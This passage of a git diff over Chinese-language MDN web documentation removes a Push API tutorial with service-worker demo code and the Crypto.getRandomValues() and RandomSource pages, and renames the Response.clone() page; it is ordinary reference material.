在 iframe 默认的情况下, "sandboxed" iframes 会阻止指针锁定。避免这种限制的能力,即以属性/值 <iframe sandbox="allow-pointer-lock"> 组合的形式 , 有望很快在 Chrome 中出现。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持 +

目标是 23{{ property_prefix("webkit") }}*

+ +

参见 CR/72574

+
+

{{ CompatGeckoDesktop("14.0") }}

+ +

{{bug("633602") }}

+
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

* 在 about:flags 中要求这些特性被启用或是使用 --enable-pointer-lock 标记启动 Chrome。

+ +

参见

+ +

{{ spec("http://dvcs.w3.org/hg/pointerlock/raw-file/default/index.html", "W3C Pointer Lock API Specification", "ED") }}

+ +

MouseEvent

diff --git a/files/zh-cn/web/api/push_api/using_the_push_api/index.html b/files/zh-cn/web/api/push_api/using_the_push_api/index.html deleted file mode 100644 index e616d4e12d..0000000000 --- a/files/zh-cn/web/api/push_api/using_the_push_api/index.html +++ /dev/null @@ -1,424 +0,0 @@ ---- -title: Using the Push API -slug: Web/API/Push_API/Using_the_Push_API -tags: - - Push - - Push API - - Service Workers - - Using the Push API -translation_of: Web/API/Push_API -translation_of_original: Web/API/Push_API/Using_the_Push_API ---- -

W3C Push API 为开发人员在Web应用程序中提供了一些令人兴奋的新功能:本文提供了一个简单的演示,以获取Push通知的设置和运行。

- -

在任何时候——不论这一应用是否处于激活状态——从服务器向客户端推送消息或者通知的能力,是一种原生应用已经享受了一段时间的能力。现在 Web 应用也拥有了这一能力。桌面系统上的 Firefox 43+ 和 Chrome 42+ 已经支持 Push 的大部分功能,移动平台也很可能在不久的将来提供支持。 {{domxref("PushMessageData")}} 当前只在 Firefox Nightly (44+) 中提供实验性的支持,并且这一实现也可能会变更。

- -
-

Note: Firefox OS 的早期版本使用了这一 API 的一个 proprietary 版本,叫做 Simple Push ,现在已经被 Push API 标准废弃。

-
- -

Demo: the basis of a simple chat server app

- -

我们创建的这一 demo 是一个简单的聊天应用。它提供了一个表单,用来输入聊天内容,还有一个按钮,用来订阅(subscribe)推送的消息。按下按钮后,你将订阅这一消息推送服务,服务器会记录你的信息,同时当前所有的订阅者会收到一个推送消息,告诉他们有人订阅。

- -

此时,新订阅者的名字会出现在订阅者列表上,同时界面上会出现一个文本域和一个提交按钮,允许订阅者发送消息。

- -

- -

要运行这一 demo,请参阅 push-api-demo README。请注意,想要在 Chrome 中使用这一应用并且以一个更合理的方式运行,服务器端还需要大量的工作。然而,推送的细节解释起来特别麻烦,我们先概览这个推送接口是怎么运作的,然后再回来详细了解。

- -

Technology overview

- -

这一部分提供了这一例子中用到的技术的概览。

- -

Web Push 消息是 service workers 技术族的一部分;特别的,一个service worker想要接收消息,就必须在一个页面上被激活。 在 service worker 接收到推送的消息后,你可以决定如何显示这一消息。你可以:

- - - -

通常这两者可以结合使用,下面的 demo 显示了两者的特点。

- -
-

注:你需要在服务器端部署某种形式的代码来处理endpoint数据的加密和发送推送消息的请求。 在我们的Demo里,我们把那些代码放进了一个快速、劣质的服务器代码(a quick-and-dirty server )里,部署在 NodeJS 上。

-
- -

service worker 需要订阅推送消息服务。在订阅服务时,每一个会话会有一个独立的端点(endpoint)。订阅对象的属性({{domxref("PushSubscription.endpoint")}}) 即为端点值。将端点发送给服务器后,服务器用这一值来发送消息给会话的激活的 service worker。不同浏览器需要用不同的推送消息服务器。

- -

加密(Encryption)

- -
-

Note: For an interactive walkthrough, try JR Conlin's Web Push Data Encryption Test Page.

-
- -

在通过推送消息发送数据时,数据需要进行加密。数据加密需要通过 {{domxref("PushSubscription.getKey()")}} 方法产生的一个公钥。这一方法在服务器端运行,通过复杂的密码学机制来生成公钥,详情可参阅 Message Encryption for Web Push 。以后可能会有更多用于处理推送消息加密的库出现,在这一 demo 中,我们使用 Marco Castelluccio's NodeJS web-push library.

- -
-

Note: There is also another library to handle the encryption with a Node and Python version available, see encrypted-content-encoding.

-
- -

Push workflow summary

- -

这里我们总结一下推送消息的实现。在之后的章节中你可以找到这一 demo 代码的更多细节。

- -
    -
  1. 请求 web 通知及你所使用的其他功能的权限。
  2. -
  3. 调用 {{domxref("ServiceWorkerContainer.register()")}} ,注册一个 service worker。
  4. -
  5. 使用 {{domxref("PushManager.subscribe()")}} 订阅推送消息。
  6. -
  7. 取得与订阅相关联的 endpoint ({{domxref("PushSubscription.endpoint")}}),并且生成一个客户公钥({{domxref("PushSubscription.getKey()")}}) 。注意 getKey() 是试验性的,只在 Firefox 有效。
  8. -
  9. 将详细信息发送给服务器,服务器可以用这些信息来发送推送消息。这一 demo 使用 {{domxref("XMLHttpRequest")}} ,但你也可以使用 Fetch
  10. -
  11. 如果你使用 Channel Messaging API 来和 service worker 通信,则创建一个新的 message channel ({{domxref("MessageChannel.MessageChannel()")}}) ,并且在 service worker 调用 {{domxref("Worker.postMessage()")}} ,将 port2 发送给 service worker ,以建立 communication channel 。你应该设置一个 listener 来响应从 service worker 发来的消息。
  12. -
  13. 在服务器端,存储端点以及其他在发送推送消息给订阅者时需要的信息(我们使用一个简单的文本文件,但你可以使用数据库,或者其他你喜欢的方式)。在生产环境中,请保护好这些信息,以防恶意的攻击者用这些信息给订阅者推送垃圾消息。
  14. -
  15. 要发送一个推送消息,你需要向端点 URL 发送一个 HTTP POST 。这一请求需要包括一个 TTL 头,用来规定用户离线时消息队列的最大长度。要在请求中包括数据,你需要使用客户公钥进行加密。在我们的 demo 中,我们使用 web-push 模块来处理困难的部分。
  16. -
  17. 在你的 service worker 中,设置一个 push 事件句柄来响应接收到的推送消息。 -
      -
    1. 如果你想要将一个信道消息发送回主 context(看第6步),你需要先取得之前发送给 service worker 的  port2 的引用 ({{domxref("MessagePort")}}) 。这个可以通过传给 onmessage handler ({{domxref("ServiceWorkerGlobalScope.onmessage")}}) 的{{domxref("MessageEvent")}} 对象取得。 具体地说,是 ports 属性的索引 0 。 之后你可以用 {{domxref("MessagePort.postMessage()")}} 来向 port1 发送消息 。
    2. -
    3. 如果你想要使用系统通知,可以调用 {{domxref("ServiceWorkerRegistration.showNotification()")}} 。注意,在我们的代码中,我们将其运行在一个 {{domxref("ExtendableEvent.waitUntil()")}} 方法中——这样做将事件的 生命周期(lifetime)扩展到了通知被处理后,使得我们可以确认事情像我们期望的那样进行。
    4. -
    -
  18. -
- -

Building up the demo

- -

让我们浏览一下 demo 的代码,理解一下它是如何工作的。

- -

The HTML and CSS

- -

这个 demo 的 HTML 和 CSS 没有什么需要特别留意的地方。初始化时,HTML包含一个简单的表单、一个按钮和两个列表。按钮用来订阅,两个列表分别显示订阅者和聊天消息。订阅之后,会出现用来输入聊天消息的控件。

- -

为了对不干扰 Push API 的理解,CSS被设计得非常简单。

- -

The main JavaScript file

- -

JavaScript 明显更加重要。让我们看看主 JS 文件。

- -

Variables and initial setup

- -

开始时,我们声明一些需要使用的变量:

- -
var isPushEnabled = false;
-var useNotifications = false;
-
-var subBtn = document.querySelector('.subscribe');
-var sendBtn;
-var sendInput;
-
-var controlsBlock = document.querySelector('.controls');
-var subscribersList = document.querySelector('.subscribers ul');
-var messagesList = document.querySelector('.messages ul');
-
-var nameForm = document.querySelector('#form');
-var nameInput = document.querySelector('#name-input');
-nameForm.onsubmit = function(e) {
-  e.preventDefault()
-};
-nameInput.value = 'Bob';
- -

首先,是两个布尔变量,一个用来记录 Push 是否被订阅,一个用来记录是否有通知的权限。

- -

其次,是订阅/取消订阅 {{htmlelement("button")}} 的引用,以及发送消息按钮的引用和输入的引用(订阅成功之后按钮和输入才会创建)。

- -

接下来,是页面上的三个{{htmlelement("div")}} 元素的引用,在需要插入元素时会用到(比如创建 Send Chat Message 按钮,或者 Messages 列表中增加聊天消息时)。

- -

最后,是 name selection 表单和 {{htmlelement("input")}} 元素的引用。我们给 input 一个默认值,并且使用 preventDefault() 方法,让按下回车时不会自动提交表单。

- -

之后,我们通过 {{domxref("Notification.requestPermission","requestPermission()")}} 请求发送web通知的权限:

- -
Notification.requestPermission();
- -

onload 时我们运行一段代码,让应用开始初次加载时的初始化过程。首先我们给 subscribe/unsubscribe 按钮添加 click event listener ,让这一按钮在已经订阅(isPushEnabled为真)时执行 unsubscribe() 函数,否则执行 subscribe()

- -
window.addEventListener('load', function() {
-  subBtn.addEventListener('click', function() {
-    if (isPushEnabled) {
-      unsubscribe();
-    } else {
-      subscribe();
-    }
-  });
- -

之后,我们检查 service workers 是否被支持。如果支持,则用 {{domxref("ServiceWorkerContainer.register()")}} 注册一个 service worker 并且运行 initialiseState() 函数。若不支持,则向控制台输出一条错误信息。

- -
  // Check that service workers are supported, if so, progressively
-  // enhance and add push messaging support, otherwise continue without it.
-  if ('serviceWorker' in navigator) {
-    navigator.serviceWorker.register('sw.js').then(function(reg) {
-      if(reg.installing) {
-        console.log('Service worker installing');
-      } else if(reg.waiting) {
-        console.log('Service worker installed');
-      } else if(reg.active) {
-        console.log('Service worker active');
-      }
-
-      initialiseState(reg);
-    });
-  } else {
-    console.log('Service workers aren\'t supported in this browser.');
-  }
-});
-
- -

接下来是 initialiseState() 函数。查看 initialiseState() source on Github 可获得有注释的完整源码(简洁起见,此处省略)。

- -

initialiseState() 首先检查 service workers 是否支持 notifications ,如果支持则将 useNotifications 变量设为真。之后检查用户是否允许 said notifications , push messages 是否支持,并分别进行设置。

- -

最后,使用 {{domxref("ServiceWorkerContainer.ready()")}} 来检测 service worker 是否被激活并开始运行,会返回一个Promise对象。当这一 promise 对象 resolve 时,我们访问 {{domxref("ServiceWorkerRegistration.pushManager")}} 属性,得到一个 {{domxref("PushManager")}} 对象,再调用该对象的 {{domxref("PushManager.getSubscription()")}}方法,最终获得用来推送消息的订阅对象。当第二个 promise 对象 resolve 时,我们启用 subscribe/unsubscribe 按钮(subBtn.disabled = false;),并确认订阅对象。

- -

这样做了之后,订阅的准备工作已经完成了。即使这一应用并没有在浏览器中打开, service worker 也依然可能在后台处于激活状态。如果我们已经订阅,则对UI进行更新,修改按钮的标签,之后将 isPushEnabled 设为真,通过 {{domxref("PushSubscription.endpoint")}} 取得订阅的端点,通过 {{domxref("PushSubscription.getKey()")}} 生成一个公钥,调用 updateStatus() 方法与服务器进行通信。

- -

此外,我们通过 {{domxref("MessageChannel.MessageChannel()")}} 得到一个新的 {{domxref("MessageChannel")}} 对象,并通过 {{domxref("ServiceworkerRegistration.active")}} 得到一个激活的 service worker 的引用,然后通过 {{domxref("Worker.postMessage()")}} 在主浏览器 context 和 service worker 间建立起一个信道。浏览器 context 接收 {{domxref("MessageChannel.port1")}} 中的消息。当有消息到来时,我们使用 handleChannelMessage() 方法来决定如何处理数据(参阅{{anch("Handling channel messages sent from the service worker")}})。

- -

订阅和取消订阅(Subscribing and unsubscribing)

- -

现在把我们的注意力转到 subscribe() 和 unsubscribe() 函数上,它们用来订阅或取消订阅 来自服务器的通知。

- -

在订阅的时候,我们使用 {{domxref("ServiceWorkerContainer.ready()")}}方法再一次确认service worker处于激活状态并且可以使用了。当 promise 成功执行,我们用{{domxref("PushManager.subscribe()")}}方法订阅服务。如果订阅成功,我们会得到一个 {{domxref("PushSubscription")}} 对象,它携带了endpoint信息 ,并且可以产生(generate)一个公钥的方法 (再多说一点,{{domxref("PushSubscription.endpoint")}}属性和{{domxref("PushSubscription.getKey()")}}方法),我们要把这两个信息传递给updateStatus() 函数,同时还要传递第三个信息——更新状态的类型(订阅还是不订阅),让它能够把这些必要的细节传递给服务器。

- -

我们也需要更新我们应用的状态 (设置 isPushEnabledtrue) 和 UI (激活订阅或者不订阅的按钮,同时改变标签的显示状态,让用户下一次点击按钮的时候变成不订阅的状态或者订阅的状态。)

- -

不订阅 unsubscribe() 函数在结构上和订阅函数相识,然而基本上它们做的是完全相反的事; 最值得注意的不同是得到当前订阅对象是使用{{domxref("PushManager.getSubscription()")}}方法,而且使用{{domxref("PushSubscription.unsubscribe()")}}方法获得的promise对象。

- -

在两个函数中也提供了适当的错误处理函数。

- -

为了节省时间,我们只在下面展示subscribe()的代码;查看全部请点击 subscribe/unsubscribe code on Github.

- -
function subscribe() {
-  // Disable the button so it can't be changed while
-  // we process the permission request
-
-  subBtn.disabled = true;
-
-  navigator.serviceWorker.ready.then(function(reg) {
-    reg.pushManager.subscribe({userVisibleOnly: true})
-      .then(function(subscription) {
-        // The subscription was successful
-        isPushEnabled = true;
-        subBtn.textContent = 'Unsubscribe from Push Messaging';
-        subBtn.disabled = false;
-
-        // Update status to subscribe current user on server, and to let
-        // other users know this user has subscribed
-        var endpoint = subscription.endpoint;
-        var key = subscription.getKey('p256dh');
-        updateStatus(endpoint,key,'subscribe');
-      })
-      .catch(function(e) {
-        if (Notification.permission === 'denied') {
-          // The user denied the notification permission which
-          // means we failed to subscribe and the user will need
-          // to manually change the notification permission to
-          // subscribe to push messages
-          console.log('Permission for Notifications was denied');
-
-        } else {
-          // A problem occurred with the subscription, this can
-          // often be down to an issue or lack of the gcm_sender_id
-          // and / or gcm_user_visible_only
-          console.log('Unable to subscribe to push.', e);
-          subBtn.disabled = false;
-          subBtn.textContent = 'Subscribe to Push Messaging';
-        }
-      });
-  });
-}
- -

更新应用和服务器的状态

- -

接下来的一个主要的JavaScript函数就是updateStatus(),当订阅和取消订阅的时候,它负责更新UI中与服务器沟通的信息并发送状态更新的请求给服务器。

- -

这个函数做了三件事当中的哪一件事,取决于下面赋值给statusType的类型:

- - - -

再多说一句,为了简介这里不会展示全部的代码。检查全部代码点击: full updateStatus() code on Github.

- -

处理在service worker中发送过来的channel message

- -

正如刚才我们提到的,当我们接收到从service worker发送的channel message 时,我们的 handleChannelMessage() 函数才会去执行它。 我们用{{domxref("channel.port1.onmessage")}}事件处理函数去处理{{event("message")}} event, :

- -
channel.port1.onmessage = function(e) {
-  handleChannelMessage(e.data);
-}
- -

这个函数会在service worker中发送信息给页面的时候在页面中执行(This occurs when the service worker sends a channel message over)。

- -

 handleChannelMessage() 函数如下:

- -
function handleChannelMessage(data) {
-  if(data.action === 'subscribe' || data.action === 'init') {
-    var listItem = document.createElement('li');
-    listItem.textContent = data.name;
-    subscribersList.appendChild(listItem);
-  } else if(data.action === 'unsubscribe') {
-    for(i = 0; i < subscribersList.children.length; i++) {
-      if(subscribersList.children[i].textContent === data.name) {
-        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
-      }
-    }
-    nameInput.disabled = false;
-  } else if(data.action === 'chatMsg') {
-    var listItem = document.createElement('li');
-    listItem.textContent = data.name + ": " + data.msg;
-    messagesList.appendChild(listItem);
-    sendInput.value = '';
-  }
-}
- -

这个函数会做什么取决于传入的action参数的赋值:

- - - -
-

注:  我们需要在更新DOM之前传递需要的数据给主页面(main context), 因为service worker不能操作DOM。你在使用前一定要知道service worker的一些限制。阅读 Using Service Workers 获取更多细节.

-
- -

发送聊天信息

- -

当‘Send Chat Message‘ 按钮被点击后,相关联的文本域的内容就作为聊天内容被发送出去。这个由 sendChatMessage() 函数处理(再多说一句,为了简洁就不展示了). 这个和 updateStatus() 的不同之处也是差不多的。 (查看 {{anch("Updating the status in the app and server")}}) — 我们获得 endpoint 和 public key 是来自一个 {{domxref("PushSubscription")}} 对象, 这个对象又是来自于 {{domxref("ServiceWorkerContainer.ready()")}} 方法和{{domxref("PushManager.subscribe()")}}方法。它们(endpoint、public key)被传递进一个字面量对象里面( in a message object),同时含有订阅用户的名字,聊天信息,和chatMsg的statusType,然后通过{{domxref("XMLHttpRequest")}}对象发送出去的,。

- -

服务端(The Server)

- -

正如我们上面提到的,我们需要一个服务端的容器去存储订阅者的信息,并且还要在状态更新时发送推送消息给客户端。 我们已经用一种hack的方式把一些需要的东西放到了一个快速-劣质(quick-and-dirty)的NodeJS 服务端上(server.js),用于处理来自客户端JavaScript的异步请求。

- -

它用一个文本文件 (endpoint.txt)去存储订阅者的信息;这个文件一开始是空的(empty)。 有四种不同类型的请求,分别由被传输过来的对象中的statusType决定;这些在客户端通俗易懂的的状态类型同样也适用于服务端,因为服务端也有相同的状态。下面是这四个个状态在服务端代表的各自的含义。

- - - -

其他需要注意的东西:

- - - -

The service worker

- -

现在让我们来看看服务工作者代码(sw.js),它响应由{{Event("push")}}事件表示的推送消息。 这些通过({{domxref("ServiceWorkerGlobalScope.onpush")}})事件处理程序在服务工作人员的范围内处理; 它的工作就是为每个收到的消息做出回应。 我们首先通过调用{{domxref("PushMessageData.json()")}}将收到的消息转换回对象。然后,通过查看这个对象的action属性,就能知道这个推送消息的类型:

- - - -
self.addEventListener('push', function(event) {
-  var obj = event.data.json();
-
-  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
-    fireNotification(obj, event);
-    port.postMessage(obj);
-  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
-    port.postMessage(obj);
-  }
-});
- -

下一步, 让我们看看 fireNotification() 函数的代码 (它真的太他妈简单了).

- -
function fireNotification(obj, event) {
-  var title = 'Subscription change';
-  var body = obj.name + ' has ' + obj.action + 'd.';
-  var icon = 'push-icon.png';
-  var tag = 'push';
-
-  event.waitUntil(self.registration.showNotification(title, {
-    body: body,
-    icon: icon,
-    tag: tag
-  }));
-}
- -

我们先在这里列出通知消息框所需要的资源:标题、主体内容、图标。然后我们通过 {{domxref("ServiceWorkerRegistration.showNotification()")}} 方法把这个通知发送出去,同时提供一个"push"给tag属性,表示这是一个推送消息,以便我们能够在全部的通知消息中找到(identify)这个推送消息。 当我们成功发送一条推送消息,它可能会在用户对应的电脑或者设备上展示一个系统通知对话框,在不同的设备上通知对话框的外观可能是不一样的(下面的这张图片展示的是Mac OSX系统上的通知对话框)。

- -

- -

注意,我们做的这些都包裹在{{domxref("ExtendableEvent.waitUntil()")}} 方法里;这是为了让ServiceWorker在发送通知消息的过程中依然保持活动,知道消息发送完成。 waitUntil() 会延长service worker的生命周期至(这个周期里)所有活动都已经完成。

- -
-

Note: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as Clients.openWindow()) is properly implemented (see {{bug(1203324)}} for more details.)

-
- -

处理推送订阅过早失效(Handling premature subscription expiration)

- -

有时候,推送订阅会过早失效,而不会调用{{domxref("PushSubscription.unsubscribe()")}} 。例如,当服务器过载或长时间处于脱机状态时,可能会发生这种情况。这是高度依赖于服务器的,所以确切的行为很难预测。 在任何情况下,您都可以通过查看{{Event("pushsubscriptionchange")}} 事件来处理此问题,您可以通过提供{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} 事件处理程序来侦听此事件;这个事件只会在这种情况下才会被触发。

- -
self.addEventListener('pushsubscriptionchange', function() {
-  // do something,一般来说都会在这里重新订阅,
-  // 并通过XHR或者Fetch发送新的订阅信息回服务器
-});
- -

注意,我们在demo里没有覆盖这种情况,因为订阅端点(subscription ending)作为一个简单的聊天服务器并不是什么难事。但是对于更复杂的示例,您可能需要重新订阅(resubscribe )用户。

- -

(让Chrome支持的额外步骤)Extra steps for Chrome support

- -

为了让应用也能够在Chrome上面运行,我们需要一些额外的步骤,因为在Chrome上,现在需要依赖谷歌云消息推送(Google's Cloud Messaging) 服务才能正常工作。

- -

配置谷歌云消息推送(Setting up Google Cloud Messaging)

- -

按照以下步骤配置:

- -
    -
  1. 跳转到 Google Developers Console  然后创建一个新项目。
  2. -
  3. 进入你项目主页(例如:我们的示例是在 https://console.developers.google.com/project/push-project-978), 然后 -
      -
    1. 在你的应用选项里打开 Google APIs
    2. -
    3. 在下一屏,在移动API那一部分下面点击“Cloud Messaging for Android” 。
    4. -
    5. 点击开启API按钮。
    6. -
    -
  4. -
  5. 现在你需要记下你的项目编号和API key,因为待会儿你会用到他们。 它们在这些地方: -
      -
    1. 项目编号: 点击左侧的主页;项目编号在你的项目主页上方很容易看见的位置。
    2. -
    3. API key: 点击左边菜单里的证书(Credentials );API key 能够在这个页面找到。
    4. -
    -
  6. -
- -

manifest.json

- -

你需要在你的应用里包含Google应用风格的 manifest.json ,这里面的 gcm_sender_id 参数需要设置为你的项目编号。下面是一个简单的示例(manifest.json):

- -
{
-  "name": "Push Demo",
-  "short_name": "Push Demo",
-  "icons": [{
-        "src": "push-icon.png",
-        "sizes": "111x111",
-        "type": "image/png"
-      }],
-  "start_url": "/index.html",
-  "display": "standalone",
-  "gcm_sender_id": "224273183921"
-}
- -

同时,你也需要在HTML文档用一个{{HTMLElement("link")}} 标签里指向你的manifest文件:

- -
<link rel="manifest" href="manifest.json">
- -

userVisibleOnly参数

- -

Chrome 要求你在订阅推送服务的时候设置 userVisibleOnly 参数 为 true , 表示我们承诺每当收到推送通知时都会显示通知。这可以在我们的 subscribe() 函数 中看到。

- -

See also

- - - -
-

Note: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in Push Notifications on the Open Web. Thanks for the awesome work, Matt!

-
diff --git a/files/zh-cn/web/api/randomsource/getrandomvalues/index.html b/files/zh-cn/web/api/randomsource/getrandomvalues/index.html deleted file mode 100644 index 5df5fb0a83..0000000000 --- a/files/zh-cn/web/api/randomsource/getrandomvalues/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Crypto.getRandomValues() -slug: Web/API/RandomSource/getRandomValues -tags: - - API - - 加密 - - 参考 - - 安全 - - 密码学 - - 方法 -translation_of: Web/API/Crypto/getRandomValues ---- -

{{APIRef("Web Crypto API")}}

- -

Crypto.getRandomValues() 方法让你可以获取符合密码学要求的安全的随机值。传入参数的数组被随机值填充(在加密意义上的随机)。

- -

为了确保足够的性能,不使用真正的随机数生成器,但是它们正在使用具有足够熵值伪随机数生成器。它所使用的 PRNG 的实现与其他不同,但适用于加密的用途。该实现还需要使用具有足够熵的种子,如系统级熵源。

- -

语法

- -
cryptoObj.getRandomValues(typedArray);
- -

参数

- -
-
typedArray
-
是一个基于整数的 {{jsxref("TypedArray")}},它可以是 {{jsxref("Int8Array")}}、{{jsxref("Uint8Array")}}、{{jsxref("Int16Array")}}、 {{jsxref("Uint16Array")}}、 {{jsxref("Int32Array")}} 或者 {{jsxref("Uint32Array")}}。在数组中的所有的元素会被随机数重写。(注释:生成的随机数储存在 typedArray 数组上。)
-
- -

异常事件

- - - -

例子

- -
/* 假设 window.crypto.getRandomValues 可用 */
-
-var array = new Uint32Array(10);
-window.crypto.getRandomValues(array);
-
-console.log("Your lucky numbers:");
-for (var i = 0; i < array.length; i++) {
-    console.log(array[i]);
-}
-
- -

标准

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.Crypto.getRandomValues")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/randomsource/index.html b/files/zh-cn/web/api/randomsource/index.html deleted file mode 100644 index 1366009032..0000000000 --- a/files/zh-cn/web/api/randomsource/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: RandomSource -slug: Web/API/RandomSource -translation_of: Web/API/Crypto/getRandomValues -translation_of_original: Web/API/RandomSource ---- -

{{APIRef("Web Crypto API")}}

- -

RandomSource 代表密码学安全随机数的来源。它可以通过全局对象的 {{domxref("Crypto")}} 获取:网页中的 {{domxref("Window.crypto")}},Workrt 里面的 {{domxref("WorkerGlobalScope.crypto")}}。

- -

RandomSource 不是一个接口,这个类型的对象不可以被创建。

- -

属性

- -

RandomSource 既没有定义也没有属性。

- -
-
- -

方法

- -
-
{{ domxref("RandomSource.getRandomValues()") }}
-
使用密码学可靠的随机值填充传递过来的 {{ domxref("ArrayBufferView") }}。
-
- -

标准

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Crypto API', '#dfn-RandomSource')}}{{Spec2('Web Crypto API')}}Initial definition
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support11.0 {{ webkitbug("22049") }}{{CompatVersionUnknown}}{{CompatGeckoDesktop(21)}} [1]11.015.03.1
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}23{{CompatVersionUnknown}}{{CompatGeckoMobile(21)}}{{ CompatNo() }}{{ CompatNo() }}6
-
- -

[1] Although the transparent RandomSource is only available since Firefox 26, the feature was available in Firefox 21.

- -

参见

- - diff --git a/files/zh-cn/web/api/response/clone/index.html b/files/zh-cn/web/api/response/clone/index.html new file mode 100644 index 0000000000..0efccea0dc --- /dev/null +++ b/files/zh-cn/web/api/response/clone/index.html @@ -0,0 +1,143 @@ +--- +title: Response.clone() +slug: Web/API/Response/克隆 +tags: + - API + - Experimental + - Fetch + - Method + - Reference + - Response + - clone +translation_of: Web/API/Response/clone +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} 接口的 clone() 方法创建了一个响应对象的克隆,这个对象在所有方面都是相同的,但是存储在一个不同的变量中。

+ +

如果已经使用了响应 {{domxref("Body")}},clone() 会抛出{{jsxref("TypeError")}}。 实际上,clone()存在的主要原因是允许多次使用{{domxref("Body")}}对象(当它们是一次性使用的时候)。

+ +

语法

+ +
var response2 = response1.clone();
+ +

Parameters

+ +

None.

+ +

Value

+ +

一个 {{domxref("Response")}} 对象.

+ +

示例

+ +

在我们的 Fetch Response 克隆示例 (请参阅 Fetch Response clone live) 我们使用{{domxref("Request.Request","Request()")}} 构造函数创建一个新的 {{domxref("Request")}} 来传递一个 JPG 路径。 然后我们使用 {{domxref("GlobalFetch.fetch","fetch()")}} 获取这个请求。 当 fetch resolve 时,我们克隆它,使用两个{{domxref("Body.blob")}}调用从两个响应中提取blob,使用{{domxref("URL.createObjectURL")}} 从blob创建对象URL,并将它们显示在两个单独的{{htmlelement("img")}}元素中。

+ +
var image1 = document.querySelector('.img1');
+var image2 = document.querySelector('.img2');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  var response2 = response.clone();
+
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    image1.src = objectURL;
+  });
+
+  response2.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    image2.src = objectURL;
+  });
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-clone','clone()')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 此功能是在首选项后面实现的。

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" "b/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" deleted file mode 100644 index 0efccea0dc..0000000000 --- "a/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Response.clone() -slug: Web/API/Response/克隆 -tags: - - API - - Experimental - - Fetch - - Method - - Reference - - Response - - clone -translation_of: Web/API/Response/clone ---- -
{{APIRef("Fetch")}}
- -

{{domxref("Response")}} 接口的 clone() 方法创建了一个响应对象的克隆,这个对象在所有方面都是相同的,但是存储在一个不同的变量中。

- -

如果已经使用了响应 {{domxref("Body")}},clone() 会抛出{{jsxref("TypeError")}}。 实际上,clone()存在的主要原因是允许多次使用{{domxref("Body")}}对象(当它们是一次性使用的时候)。

- -

语法

- -
var response2 = response1.clone();
- -

Parameters

- -

None.

- -

Value

- -

一个 {{domxref("Response")}} 对象.

- -

示例

- -

在我们的 Fetch Response 克隆示例 (请参阅 Fetch Response clone live) 我们使用{{domxref("Request.Request","Request()")}} 构造函数创建一个新的 {{domxref("Request")}} 来传递一个 JPG 路径。 然后我们使用 {{domxref("GlobalFetch.fetch","fetch()")}} 获取这个请求。 当 fetch resolve 时,我们克隆它,使用两个{{domxref("Body.blob")}}调用从两个响应中提取blob,使用{{domxref("URL.createObjectURL")}} 从blob创建对象URL,并将它们显示在两个单独的{{htmlelement("img")}}元素中。

- -
var image1 = document.querySelector('.img1');
-var image2 = document.querySelector('.img2');
-
-var myRequest = new Request('flowers.jpg');
-
-fetch(myRequest).then(function(response) {
-  var response2 = response.clone();
-
-  response.blob().then(function(myBlob) {
-    var objectURL = URL.createObjectURL(myBlob);
-    image1.src = objectURL;
-  });
-
-  response2.blob().then(function(myBlob) {
-    var objectURL = URL.createObjectURL(myBlob);
-    image2.src = objectURL;
-  });
-});
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-clone','clone()')}}{{Spec2('Fetch')}}Initial definition
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
